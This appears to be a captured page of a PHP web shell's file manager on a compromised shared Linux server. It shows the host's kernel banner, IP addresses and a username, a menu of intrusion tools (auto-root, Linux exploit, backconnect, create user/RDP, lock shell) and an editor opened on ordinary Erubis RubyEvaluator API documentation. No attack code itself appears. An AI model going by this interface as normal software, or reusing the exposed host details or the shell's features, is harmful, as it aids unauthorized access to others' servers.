Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.171
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ruby-erubis /
doc-api /
classes /
Erubis /
[ HOME SHELL ]
Name
Size
Permission
Action
Basic
[ DIR ]
drwxr-xr-x
Helpers
[ DIR ]
drwxr-xr-x
PI
[ DIR ]
drwxr-xr-x
ArrayBufferEnhancer.html
4.94
KB
-rw-r--r--
ArrayBufferEruby.html
2.57
KB
-rw-r--r--
ArrayEnhancer.html
4.88
KB
-rw-r--r--
ArrayEruby.html
2.55
KB
-rw-r--r--
Basic.html
2.36
KB
-rw-r--r--
BiPatternEnhancer.html
7.24
KB
-rw-r--r--
BiPatternEruby.html
2.56
KB
-rw-r--r--
CGenerator.html
19.71
KB
-rw-r--r--
CommandOptionError.html
2.34
KB
-rw-r--r--
Context.html
13.59
KB
-rw-r--r--
Converter.html
12.21
KB
-rw-r--r--
CppGenerator.html
19.19
KB
-rw-r--r--
DeleteIndentEnhancer.html
3.77
KB
-rw-r--r--
DeleteIndentEruby.html
2.58
KB
-rw-r--r--
Ec.html
2.59
KB
-rw-r--r--
Ecpp.html
2.61
KB
-rw-r--r--
Ejava.html
2.62
KB
-rw-r--r--
Ejavascript.html
2.66
KB
-rw-r--r--
Engine.html
15.28
KB
-rw-r--r--
Eperl.html
2.62
KB
-rw-r--r--
Ephp.html
2.61
KB
-rw-r--r--
ErboutEnhancer.html
4.94
KB
-rw-r--r--
ErboutEruby.html
2.55
KB
-rw-r--r--
ErubisError.html
2.33
KB
-rw-r--r--
Eruby.html
2.95
KB
-rw-r--r--
EscapeEnhancer.html
4.92
KB
-rw-r--r--
EscapedEc.html
2.53
KB
-rw-r--r--
EscapedEcpp.html
2.54
KB
-rw-r--r--
EscapedEjava.html
2.55
KB
-rw-r--r--
EscapedEjavascript.html
2.58
KB
-rw-r--r--
EscapedEperl.html
2.55
KB
-rw-r--r--
EscapedEphp.html
2.54
KB
-rw-r--r--
EscapedEruby.html
2.69
KB
-rw-r--r--
EscapedEscheme.html
2.56
KB
-rw-r--r--
Escheme.html
2.63
KB
-rw-r--r--
Evaluator.html
6.38
KB
-rw-r--r--
FastEruby.html
2.87
KB
-rw-r--r--
Generator.html
13.63
KB
-rw-r--r--
HeaderFooterEnhancer.html
9.42
KB
-rw-r--r--
HeaderFooterEruby.html
2.58
KB
-rw-r--r--
Helpers.html
2.58
KB
-rw-r--r--
InterpolationEnhancer.html
18.98
KB
-rw-r--r--
InterpolationEruby.html
2.58
KB
-rw-r--r--
JavaGenerator.html
18.43
KB
-rw-r--r--
JavascriptGenerator.html
18.61
KB
-rw-r--r--
Main.html
25.5
KB
-rw-r--r--
NoCodeEnhancer.html
7.94
KB
-rw-r--r--
NoCodeEruby.html
2.55
KB
-rw-r--r--
NoTextEnhancer.html
4.41
KB
-rw-r--r--
NoTextEruby.html
2.55
KB
-rw-r--r--
NotSupportedError.html
2.44
KB
-rw-r--r--
OptimizedEruby.html
4.11
KB
-rw-r--r--
OptimizedGenerator.html
20.15
KB
-rw-r--r--
OptimizedXmlEruby.html
4.31
KB
-rw-r--r--
PI.html
3.11
KB
-rw-r--r--
PercentLineEnhancer.html
4.19
KB
-rw-r--r--
PercentLineEruby.html
2.57
KB
-rw-r--r--
PerlGenerator.html
14
KB
-rw-r--r--
PhpGenerator.html
13.91
KB
-rw-r--r--
PrefixedLineEnhancer.html
9.28
KB
-rw-r--r--
PrefixedLineEruby.html
2.58
KB
-rw-r--r--
PreprocessingEruby.html
5.29
KB
-rw-r--r--
PreprocessingHelper.html
6.36
KB
-rw-r--r--
PrintEnabledEnhancer.html
7.77
KB
-rw-r--r--
PrintEnabledEruby.html
2.58
KB
-rw-r--r--
PrintOutEnhancer.html
8.05
KB
-rw-r--r--
PrintOutEruby.html
2.56
KB
-rw-r--r--
PrintOutSimplifiedEruby.html
2.67
KB
-rw-r--r--
RubyEvaluator.html
9.7
KB
-rw-r--r--
RubyGenerator.html
13.6
KB
-rw-r--r--
SchemeGenerator.html
17.07
KB
-rw-r--r--
SimplifiedEruby.html
2.56
KB
-rw-r--r--
SimplifyEnhancer.html
7.81
KB
-rw-r--r--
StdoutEnhancer.html
4.55
KB
-rw-r--r--
StdoutEruby.html
2.55
KB
-rw-r--r--
StdoutSimplifiedEruby.html
2.66
KB
-rw-r--r--
StringBufferEnhancer.html
4.89
KB
-rw-r--r--
StringBufferEruby.html
2.58
KB
-rw-r--r--
StringIOEruby.html
2.52
KB
-rw-r--r--
TinyEruby.html
14
KB
-rw-r--r--
XmlEruby.html
2.76
KB
-rw-r--r--
XmlHelper.html
8.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RubyEvaluator.html
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>Module: Erubis::RubyEvaluator</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta http-equiv="Content-Script-Type" content="text/javascript" /> <link rel="stylesheet" href="../.././rdoc-style.css" type="text/css" media="screen" /> <script type="text/javascript"> // <![CDATA[ function popupCode( url ) { window.open(url, "Code", "resizable=yes,scrollbars=yes,toolbar=no,status=no,height=150,width=400") } function toggleCode( id ) { if ( document.getElementById ) elem = document.getElementById( id ); else if ( document.all ) elem = eval( "document.all." + id ); else return false; elemStyle = elem.style; if ( elemStyle.display != "block" ) { elemStyle.display = "block" } else { elemStyle.display = "none" } return true; } // Make codeblocks hidden by default document.writeln( "<style type=\"text/css\">div.method-source-code { display: none }</style>" ) // ]]> </script> </head> <body> <div id="classHeader"> <table class="header-table"> <tr class="top-aligned-row"> <td><strong>Module</strong></td> <td class="class-name-in-header">Erubis::RubyEvaluator</td> </tr> <tr class="top-aligned-row"> <td><strong>In:</strong></td> <td> <a href="../../files/erubis/evaluator_rb.html"> erubis/evaluator.rb </a> <br /> </td> </tr> </table> </div> <!-- banner header --> <div id="bodyContent"> <div id="contextContent"> <div id="description"> <p> evaluator for Ruby </p> </div> </div> <div id="method-list"> <h3 class="section-bar">Methods</h3> <div class="name-list"> <a href="#M000210">def_method</a> <a href="#M000209">evaluate</a> <a href="#M000208">result</a> </div> </div> </div> <!-- if includes --> <div id="includes"> <h3 class="section-bar">Included Modules</h3> <div id="includes-list"> <span class="include-name"><a href="Evaluator.html">Evaluator</a></span> </div> </div> <div id="section"> <!-- if method_list --> <div id="methods"> <h3 class="section-bar">Public Instance methods</h3> <div id="method-M000210" class="method-detail"> <a name="M000210"></a> <div class="method-heading"> <a href="#M000210" class="method-signature"> <span class="method-name">def_method</span><span class="method-args">(object, method_name, filename=nil)</span> </a> </div> <div class="method-description"> <p> if object is an Class or Module then define instance method to it, else define singleton method to it. </p> <p><a class="source-toggle" href="#" onclick="toggleCode('M000210-source');return false;">[Source]</a></p> <div class="method-source-code" id="M000210-source"> <pre> <span class="ruby-comment cmt"># File erubis/evaluator.rb, line 79</span> <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">def_method</span>(<span class="ruby-identifier">object</span>, <span class="ruby-identifier">method_name</span>, <span class="ruby-identifier">filename</span>=<span class="ruby-keyword kw">nil</span>) <span class="ruby-identifier">m</span> = <span class="ruby-identifier">object</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Module</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">:module_eval</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">:instance_eval</span> <span class="ruby-identifier">object</span>.<span class="ruby-identifier">__send__</span>(<span class="ruby-identifier">m</span>, <span class="ruby-node">"def #{method_name}; #{@src}; end"</span>, <span class="ruby-identifier">filename</span> <span class="ruby-operator">||</span> <span class="ruby-ivar">@filename</span> <span class="ruby-operator">||</span> <span class="ruby-value str">'(erubis)'</span>) <span class="ruby-keyword kw">end</span> </pre> </div> </div> </div> <div id="method-M000209" class="method-detail"> <a name="M000209"></a> <div class="method-heading"> <a href="#M000209" class="method-signature"> <span class="method-name">evaluate</span><span class="method-args">(_context=Context.new)</span> </a> </div> <div class="method-description"> <p> invoke context.instance_eval(@src) </p> <p><a class="source-toggle" href="#" onclick="toggleCode('M000209-source');return false;">[Source]</a></p> <div class="method-source-code" id="M000209-source"> <pre> <span class="ruby-comment cmt"># File erubis/evaluator.rb, line 69</span> <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">evaluate</span>(<span class="ruby-identifier">_context</span>=<span class="ruby-constant">Context</span>.<span class="ruby-identifier">new</span>) <span class="ruby-identifier">_context</span> = <span class="ruby-constant">Context</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">_context</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">_context</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-comment cmt">#return _context.instance_eval(@src, @filename || '(erubis)')</span> <span class="ruby-comment cmt">#@_proc ||= eval("proc { #{@src} }", Erubis::EMPTY_BINDING, @filename || '(erubis)')</span> <span class="ruby-ivar">@_proc</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">eval</span>(<span class="ruby-node">"proc { #{@src} }"</span>, <span class="ruby-identifier">binding</span>(), <span class="ruby-ivar">@filename</span> <span class="ruby-operator">||</span> <span class="ruby-value str">'(erubis)'</span>) <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">_context</span>.<span class="ruby-identifier">instance_eval</span>(<span class="ruby-operator">&</span><span class="ruby-ivar">@_proc</span>) <span class="ruby-keyword kw">end</span> </pre> </div> </div> </div> <div id="method-M000208" class="method-detail"> <a name="M000208"></a> <div class="method-heading"> <a href="#M000208" class="method-signature"> <span class="method-name">result</span><span class="method-args">(_binding_or_hash=TOPLEVEL_BINDING)</span> </a> </div> <div class="method-description"> <p> eval(@src) with binding object </p> <p><a class="source-toggle" href="#" onclick="toggleCode('M000208-source');return false;">[Source]</a></p> <div class="method-source-code" id="M000208-source"> <pre> <span class="ruby-comment cmt"># File erubis/evaluator.rb, line 53</span> <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">result</span>(<span class="ruby-identifier">_binding_or_hash</span>=<span class="ruby-constant">TOPLEVEL_BINDING</span>) <span class="ruby-identifier">_arg</span> = <span class="ruby-identifier">_binding_or_hash</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">_arg</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-identifier">_b</span> = <span class="ruby-identifier">binding</span>() <span class="ruby-identifier">eval</span> <span class="ruby-identifier">_arg</span>.<span class="ruby-identifier">collect</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">k</span>,<span class="ruby-identifier">v</span><span class="ruby-operator">|</span> <span class="ruby-node">"#{k} = _arg[#{k.inspect}]; "</span>}.<span class="ruby-identifier">join</span>, <span class="ruby-identifier">_b</span> <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">_arg</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Binding</span>) <span class="ruby-identifier">_b</span> = <span class="ruby-identifier">_arg</span> <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">_arg</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-identifier">_b</span> = <span class="ruby-identifier">binding</span>() <span class="ruby-keyword kw">else</span> <span class="ruby-identifier">raise</span> <span class="ruby-constant">ArgumentError</span>.<span class="ruby-identifier">new</span>(<span class="ruby-node">"#{self.class.name}#result(): argument should be Binding or Hash but passed #{_arg.class.name} object."</span>) <span class="ruby-keyword kw">end</span> <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">eval</span>(<span class="ruby-ivar">@src</span>, <span class="ruby-identifier">_b</span>, (<span class="ruby-ivar">@filename</span> <span class="ruby-operator">||</span> <span class="ruby-value str">'(erubis'</span>)) <span class="ruby-keyword kw">end</span> </pre> </div> </div> </div> </div> </div> <div id="validator-badges"> <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p> </div> </body> </html>
Close